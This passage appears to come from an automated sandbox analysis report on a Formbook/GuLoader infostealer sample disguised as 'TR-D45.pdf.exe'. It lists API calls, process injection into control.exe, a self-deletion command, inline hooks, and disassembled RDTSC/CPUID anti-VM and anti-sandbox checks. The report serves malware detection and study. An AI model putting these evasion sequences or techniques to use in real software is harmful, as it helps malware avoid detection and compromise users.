Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479950 NtQueueApcThread, 12_2_04479950
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479560 NtWriteFile, 12_2_04479560
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479520 NtWaitForSingleObject, 12_2_04479520
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0447AD30 NtSetContextThread, 12_2_0447AD30
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044799D0 NtCreateProcessEx, 12_2_044799D0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044795F0 NtQueryInformationFile, 12_2_044795F0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479670 NtQueryInformationProcess, 12_2_04479670
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479A00 NtProtectVirtualMemory, 12_2_04479A00
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479610 NtEnumerateValueKey, 12_2_04479610
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479A10 NtQuerySection, 12_2_04479A10
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479A20 NtResumeThread, 12_2_04479A20
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479A80 NtOpenDirectoryObject, 12_2_04479A80
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479760 NtOpenProcess, 12_2_04479760
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479770 NtSetInformationFile, 12_2_04479770
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0447A770 NtOpenThread, 12_2_0447A770
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479B00 NtSetValueKey, 12_2_04479B00
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0447A710 NtOpenProcessToken, 12_2_0447A710
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479730 NtQueryVirtualMemory, 12_2_04479730
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044797A0 NtUnmapViewOfSection, 12_2_044797A0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0447A3B0 NtGetContextThread, 12_2_0447A3B0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02459E70 NtClose, 12_2_02459E70
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02459F20 NtAllocateVirtualMemory, 12_2_02459F20
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02459D40 NtCreateFile, 12_2_02459D40
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02459DF0 NtReadFile, 12_2_02459DF0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02459E6A NtReadFile,NtClose, 12_2_02459E6A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02459E9B NtClose, 12_2_02459E9B
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02459F1A NtAllocateVirtualMemory, 12_2_02459F1A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02459D92 NtCreateFile, 12_2_02459D92
Detected potential crypto function
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_00404E8F 0_2_00404E8F
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_0040568E 0_2_0040568E
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E286E30 1_2_1E286E30
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32D616 1_2_1E32D616
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E332EF7 1_2_1E332EF7
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E331FF1 1_2_1E331FF1
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E33DFCE 1_2_1E33DFCE
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27841F 1_2_1E27841F
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32D466 1_2_1E32D466
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E260D20 1_2_1E260D20
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E332D07 1_2_1E332D07
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E331D55 1_2_1E331D55
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E292581 1_2_1E292581
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27D5E0 1_2_1E27D5E0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E3325DD 1_2_1E3325DD
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E3322AE 1_2_1E3322AE
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E332B28 1_2_1E332B28
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29EBB0 1_2_1E29EBB0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32DBD2 1_2_1E32DBD2
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E3203DA 1_2_1E3203DA
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E33E824 1_2_1E33E824
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321002 1_2_1E321002
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2920A0 1_2_1E2920A0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E3320A8 1_2_1E3320A8
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27B090 1_2_1E27B090
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E3328EC 1_2_1E3328EC
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E284120 1_2_1E284120
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26F900 1_2_1E26F900
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_000BD340 1_2_000BD340
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044FD466 12_2_044FD466
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1002 12_2_044F1002
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0444841F 12_2_0444841F
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_045028EC 12_2_045028EC
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0444B090 12_2_0444B090
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044620A0 12_2_044620A0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_045020A8 12_2_045020A8
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04501D55 12_2_04501D55
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0443F900 12_2_0443F900
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04502D07 12_2_04502D07
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04430D20 12_2_04430D20
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04454120 12_2_04454120
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_045025DD 12_2_045025DD
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0444D5E0 12_2_0444D5E0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04462581 12_2_04462581
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04456E30 12_2_04456E30
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04502EF7 12_2_04502EF7
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_045022AE 12_2_045022AE
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04502B28 12_2_04502B28
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044FDBD2 12_2_044FDBD2
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04501FF1 12_2_04501FF1
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446EBB0 12_2_0446EBB0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0245D340 12_2_0245D340
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02449E40 12_2_02449E40
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02449E3C 12_2_02449E3C
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0245CF86 12_2_0245CF86
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0245DF94 12_2_0245DF94
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02442FB0 12_2_02442FB0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02442D87 12_2_02442D87
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02442D90 12_2_02442D90
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: String function: 1E26B150 appears 45 times
Source: C:\Windows\SysWOW64\control.exe Code function: String function: 0443B150 appears 35 times
Sample file is different than original file name gathered from version info
Source: TR-D45.pdf.exe, 00000000.00000002.247663244.0000000002250000.00000002.00000001.sdmp Binary or memory string: OriginalFilenameuser32j% vs TR-D45.pdf.exe
Source: TR-D45.pdf.exe, 00000000.00000000.228367580.0000000000414000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameSBEKASSEBILER.exe vs TR-D45.pdf.exe
Source: TR-D45.pdf.exe Binary or memory string: OriginalFilename vs TR-D45.pdf.exe
Source: TR-D45.pdf.exe, 00000001.00000002.320194787.000000001E4EF000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs TR-D45.pdf.exe
Source: TR-D45.pdf.exe, 00000001.00000003.313426694.0000000000919000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameCONTROL.EXEj% vs TR-D45.pdf.exe
Source: TR-D45.pdf.exe, 00000001.00000000.246411137.0000000000414000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameSBEKASSEBILER.exe vs TR-D45.pdf.exe
Source: TR-D45.pdf.exe, 00000001.00000002.319716219.000000001DDB0000.00000002.00000001.sdmp Binary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs TR-D45.pdf.exe
Source: TR-D45.pdf.exe, 00000001.00000002.319651921.000000001DC60000.00000002.00000001.sdmp Binary or memory string: OriginalFilenamemswsock.dll.muij% vs TR-D45.pdf.exe
Source: TR-D45.pdf.exe Binary or memory string: OriginalFilenameSBEKASSEBILER.exe vs TR-D45.pdf.exe
Yara signature match
Source: 0000000C.00000002.495604488.00000000028E0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000C.00000002.495604488.00000000028E0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000C.00000002.495347185.00000000026CA000.00000004.00000020.sdmp, type: MEMORY Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000C.00000002.495505278.00000000028B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000C.00000002.495505278.00000000028B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.314014280.00000000000A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.314014280.00000000000A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000C.00000002.497491783.000000000493F000.00000004.00000001.sdmp, type: MEMORY Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000002.319831190.000000001E010000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.319831190.000000001E010000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000C.00000002.495031806.0000000002440000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000C.00000002.495031806.0000000002440000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@7/0@8/3
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6692:120:WilError_01
Source: C:\Users\user\Desktop\TR-D45.pdf.exe File created: C:\Users\user\AppData\Local\Temp\~DF02231C1D730B1CDB.TMP Jump to behavior
Source: TR-D45.pdf.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\TR-D45.pdf.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\TR-D45.pdf.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: TR-D45.pdf.exe Virustotal: Detection: 29%
Source: TR-D45.pdf.exe ReversingLabs: Detection: 14%
Source: unknown Process created: C:\Users\user\Desktop\TR-D45.pdf.exe 'C:\Users\user\Desktop\TR-D45.pdf.exe'
Source: unknown Process created: C:\Users\user\Desktop\TR-D45.pdf.exe 'C:\Users\user\Desktop\TR-D45.pdf.exe'
Source: unknown Process created: C:\Windows\SysWOW64\control.exe C:\Windows\SysWOW64\control.exe
Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\TR-D45.pdf.exe'
Source: unknown Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Process created: C:\Users\user\Desktop\TR-D45.pdf.exe 'C:\Users\user\Desktop\TR-D45.pdf.exe' Jump to behavior
Source: C:\Windows\SysWOW64\control.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\TR-D45.pdf.exe' Jump to behavior
Source: Binary string: wscui.pdbUGP source: explorer.exe, 00000005.00000000.292398447.00000000070D0000.00000002.00000001.sdmp
Source: Binary string: control.pdb source: TR-D45.pdf.exe
Source: Binary string: wntdll.pdbUGP source: TR-D45.pdf.exe, 00000001.00000002.319908654.000000001E240000.00000040.00000001.sdmp, control.exe, 0000000C.00000003.314263718.00000000040E0000.00000004.00000001.sdmp
Source: Binary string: wntdll.pdb source: TR-D45.pdf.exe, control.exe
Source: Binary string: control.pdbUGP source: TR-D45.pdf.exe, 00000001.00000002.314034549.00000000000D0000.00000040.00000001.sdmp
Source: Binary string: wscui.pdb source: explorer.exe, 00000005.00000000.292398447.00000000070D0000.00000002.00000001.sdmp

Data Obfuscation:

barindex
Yara detected GuLoader
Source: Yara match File source: Process Memory Space: TR-D45.pdf.exe PID: 3668, type: MEMORY
Source: Yara match File source: Process Memory Space: TR-D45.pdf.exe PID: 6060, type: MEMORY
Yara detected VB6 Downloader Generic
Source: Yara match File source: Process Memory Space: TR-D45.pdf.exe PID: 3668, type: MEMORY
Source: Yara match File source: Process Memory Space: TR-D45.pdf.exe PID: 6060, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_004114BC push eax; ret 0_2_004114FB
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02395BD8 push ss; iretd 0_2_02395BE5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_0239497F push ss; iretd 0_2_02395BE5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02394954 push ss; iretd 0_2_02395BE5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023949AB push ss; iretd 0_2_02395BE5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023949DF push ss; iretd 0_2_02395BE5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_3_0091C611 push ecx; ret 1_3_0091C624
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_3_00930BDE push ebx; iretd 1_3_00930C81
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2BD0D1 push ecx; ret 1_2_1E2BD0E4
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_000B7811 push cs; retf 1_2_000B7819
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_000BDA6C push edi; ret 1_2_000BDA6E
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0448D0D1 push ecx; ret 12_2_0448D0E4
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0245DA6C push edi; ret 12_2_0245DA6E
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_024563C0 pushad ; retf 12_2_02456460
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02457811 push cs; retf 12_2_02457819
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0245CEE2 push eax; ret 12_2_0245CEE8
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0245CEEB push eax; ret 12_2_0245CF52
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0245CE95 push eax; ret 12_2_0245CEE8
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0245CF4C push eax; ret 12_2_0245CF52
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_02456437 pushad ; retf 12_2_02456460
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0245E4B2 push cs; retf 12_2_0245E4B3

Hooking and other Techniques for Hiding and Protection:

barindex
Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x84 0x4E 0xEB
Uses an obfuscated file name to hide its real file extension (double extension)
Source: Possible double extension: pdf.exe Static PE information: TR-D45.pdf.exe
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\control.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Contains functionality to detect hardware virtualization (CPUID execution measurement)
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02390A92 NtSetInformationThread,TerminateProcess, 0_2_02390A92
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02390BAE TerminateProcess, 0_2_02390BAE
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02390AC7 TerminateProcess, 0_2_02390AC7
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02390B37 TerminateProcess, 0_2_02390B37
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02390B9C TerminateProcess, 0_2_02390B9C
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02390B83 TerminateProcess, 0_2_02390B83
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02390BD3 TerminateProcess, 0_2_02390BD3
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02390C27 TerminateProcess, 0_2_02390C27
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02390C67 TerminateProcess, 0_2_02390C67
Detected RDTSC dummy instruction sequence (likely for instruction hammering)
Source: C:\Users\user\Desktop\TR-D45.pdf.exe RDTSC instruction interceptor: First address: 00000000023980C6 second address: 00000000023980C6 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a call 00007FF010BA7BE8h 0x0000000f lfence 0x00000012 mov edx, dword ptr [7FFE0014h] 0x00000018 lfence 0x0000001b ret 0x0000001c sub edx, esi 0x0000001e ret 0x0000001f fnop 0x00000021 add edi, edx 0x00000023 dec dword ptr [ebp+000000F8h] 0x00000029 jmp 00007FF010BA7C0Eh 0x0000002b cmp ecx, BDD4905Dh 0x00000031 cmp dword ptr [ebp+000000F8h], 00000000h 0x00000038 jne 00007FF010BA7B93h 0x0000003a cmp bx, bx 0x0000003d call 00007FF010BA7C42h 0x00000042 call 00007FF010BA7BFAh 0x00000047 lfence 0x0000004a mov edx, dword ptr [7FFE0014h] 0x00000050 lfence 0x00000053 ret 0x00000054 mov esi, edx 0x00000056 pushad 0x00000057 rdtsc
Tries to detect Any.run
Source: C:\Users\user\Desktop\TR-D45.pdf.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\TR-D45.pdf.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Users\user\Desktop\TR-D45.pdf.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\TR-D45.pdf.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: TR-D45.pdf.exe Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\TR-D45.pdf.exe RDTSC instruction interceptor: First address: 00000000023980C6 second address: 00000000023980C6 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a call 00007FF010BA7BE8h 0x0000000f lfence 0x00000012 mov edx, dword ptr [7FFE0014h] 0x00000018 lfence 0x0000001b ret 0x0000001c sub edx, esi 0x0000001e ret 0x0000001f fnop 0x00000021 add edi, edx 0x00000023 dec dword ptr [ebp+000000F8h] 0x00000029 jmp 00007FF010BA7C0Eh 0x0000002b cmp ecx, BDD4905Dh 0x00000031 cmp dword ptr [ebp+000000F8h], 00000000h 0x00000038 jne 00007FF010BA7B93h 0x0000003a cmp bx, bx 0x0000003d call 00007FF010BA7C42h 0x00000042 call 00007FF010BA7BFAh 0x00000047 lfence 0x0000004a mov edx, dword ptr [7FFE0014h] 0x00000050 lfence 0x00000053 ret 0x00000054 mov esi, edx 0x00000056 pushad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\TR-D45.pdf.exe RDTSC instruction interceptor: First address: 00000000023980E8 second address: 00000000023980E8 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e mov eax, 00000001h 0x00000013 cpuid 0x00000015 bt ecx, 1Fh 0x00000019 jc 00007FF010BA1252h 0x0000001f popad 0x00000020 call 00007FF010BA0BCFh 0x00000025 lfence 0x00000028 rdtsc
Source: C:\Users\user\Desktop\TR-D45.pdf.exe RDTSC instruction interceptor: First address: 0000000002390F1B second address: 0000000002399812 instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 push dword ptr [ebp+0000009Ch] 0x00000009 cmp bh, bh 0x0000000b push eax 0x0000000c jmp 00007FF010BA7C0Eh 0x0000000e cmp dh, ah 0x00000010 call 00007FF010BB03E8h 0x00000015 jmp 00007FF010BA7C12h 0x00000017 cmp ax, cx 0x0000001a call 00007FF010BA7BE5h 0x0000001f pop ebx 0x00000020 sub ebx, 05h 0x00000023 inc ebx 0x00000024 dec ebx 0x00000025 xor edx, edx 0x00000027 mov eax, ebx 0x00000029 mov ecx, 00000004h 0x0000002e div ecx 0x00000030 jmp 00007FF010BA7C0Eh 0x00000032 cmp dh, ah 0x00000034 cmp edx, 00000000h 0x00000037 jne 00007FF010BA7BA1h 0x00000039 movd mm3, ebx 0x0000003c jmp 00007FF010BA7C0Ah 0x0000003e pushad 0x0000003f mov edx, 00000023h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\TR-D45.pdf.exe RDTSC instruction interceptor: First address: 00000000005680E8 second address: 00000000005680E8 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e mov eax, 00000001h 0x00000013 cpuid 0x00000015 bt ecx, 1Fh 0x00000019 jc 00007FF010BA1252h 0x0000001f popad 0x00000020 call 00007FF010BA0BCFh 0x00000025 lfence 0x00000028 rdtsc
Source: C:\Users\user\Desktop\TR-D45.pdf.exe RDTSC instruction interceptor: First address: 0000000000560F1B second address: 0000000000569812 instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 push dword ptr [ebp+0000009Ch] 0x00000009 cmp bh, bh 0x0000000b push eax 0x0000000c jmp 00007FF010BA7C0Eh 0x0000000e cmp dh, ah 0x00000010 call 00007FF010BB03E8h 0x00000015 jmp 00007FF010BA7C12h 0x00000017 cmp ax, cx 0x0000001a call 00007FF010BA7BE5h 0x0000001f pop ebx 0x00000020 sub ebx, 05h 0x00000023 inc ebx 0x00000024 dec ebx 0x00000025 xor edx, edx 0x00000027 mov eax, ebx 0x00000029 mov ecx, 00000004h 0x0000002e div ecx 0x00000030 jmp 00007FF010BA7C0Eh 0x00000032 cmp dh, ah 0x00000034 cmp edx, 00000000h 0x00000037 jne 00007FF010BA7BA1h 0x00000039 movd mm3, ebx 0x0000003c jmp 00007FF010BA7C0Ah 0x0000003e pushad 0x0000003f mov edx, 00000023h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\TR-D45.pdf.exe RDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TR-D45.pdf.exe RDTSC instruction interceptor: First address: 0000000000409B5E second address: 0000000000409B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\control.exe RDTSC instruction interceptor: First address: 00000000024498E4 second address: 00000000024498EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\control.exe RDTSC instruction interceptor: First address: 0000000002449B5E second address: 0000000002449B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399799 rdtsc 0_2_02399799
May sleep (evasive loops) to hinder dynamic analysis
